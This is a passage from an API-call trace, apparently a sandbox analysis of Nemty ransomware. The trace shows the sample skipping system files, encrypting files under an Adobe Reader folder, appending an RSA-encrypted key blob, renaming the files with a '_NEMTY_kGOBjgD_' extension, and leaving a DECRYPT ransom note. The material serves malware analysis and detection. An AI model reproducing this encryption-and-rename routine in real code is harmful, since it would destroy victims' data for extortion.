lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0176.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0176.403] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=231) returned 1 [0176.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0176.404] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.404] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0176.404] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.404] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0176.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0176.405] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=231, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe7 [0176.405] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0176.405] CloseHandle (hObject=0x2f0) returned 1 [0176.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0176.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0176.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0176.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0176.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.405] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0176.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0176.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0176.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0176.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.406] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc5be70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1cc5be70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1cc5be70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0176.407] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0176.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0176.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0176.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0176.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.408] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc5be70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1cc5be70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1cc5be70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0176.408] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0176.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.408] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.EUQ", cAlternateFileName="")) returned 1 [0176.408] lstrcmpiW (lpString1="Spelling.EUQ", lpString2=".") returned 1 [0176.408] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="..") returned 1 [0176.408] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="...") returned 1 [0176.408] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="windows") returned -1 [0176.408] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.408] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="rsa") returned 1 [0176.408] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="NTDETECT.COM") returned 1 [0176.408] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="ntldr") returned 1 [0176.408] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="MSDOS.SYS") returned 1 [0176.408] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="IO.SYS") returned 1 [0176.409] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="boot.ini") returned 1 [0176.409] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="boot.ini") returned 1 [0176.409] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.409] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="ntuser.dat") returned 1 [0176.409] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="desktop.ini") returned 1 [0176.409] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.409] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="RECYCLER") returned 1 [0176.409] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.409] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="bootmgr") returned 1 [0176.409] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="programdata") returned 1 [0176.409] lstrcmpiW (lpString1="Spelling.EUQ", lpString2="appdata") returned 1 [0176.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.EUQ", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.EUQ", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.EUQ", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.EUQ", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.409] Sleep (dwMilliseconds=0x5) [0176.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ccce290, dwHighDateTime=0x1d561e8)) [0176.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ccce290, dwHighDateTime=0x1d561e8)) [0176.418] GetLastError () returned 0x12 [0176.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.418] GetLastError () returned 0x12 [0176.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.418] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.418] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.419] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.419] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="E6rulGEV03cJBODCVatiZxiVyVdcm0c6mGtGhswWsdovM5AVtDr7k8/nOD0r4wHE\r\nEUE8I56DAF3SqubDtlE66UqmsIzfHU3z26L8VF6TJS2dZyzsZ1a0d4VrNuFMHHNo\r\n86gFZGy1fGWsVRH/L9I74hPSqRrmhlyOHiDuPPbuWcAr1JaLJaBfgtEIIhsR0hVi\r\n4WrqFXzXA96oxkGTtHT4Ip58BxyxlD+OxGw/ujJBCDYJLP1vcBLux92KgIoiL/1O\r\n8j2HWyezV4PsHhNmJDcoXYaJcK1ePB7t+Kxp91VHaUn8rSuMufRE139BdtK8JjJ4\r\nMtk6StBO9tb3pEub/vDpdA==\r\n", pcchString=0x653e5dc) returned 1 [0176.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Spelling.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\spelling.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.419] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0176.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0176.419] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.419] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0176.421] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.421] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0176.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.422] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0176.422] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.422] CloseHandle (hObject=0x2e8) returned 1 [0176.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.422] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Spelling.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\spelling.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 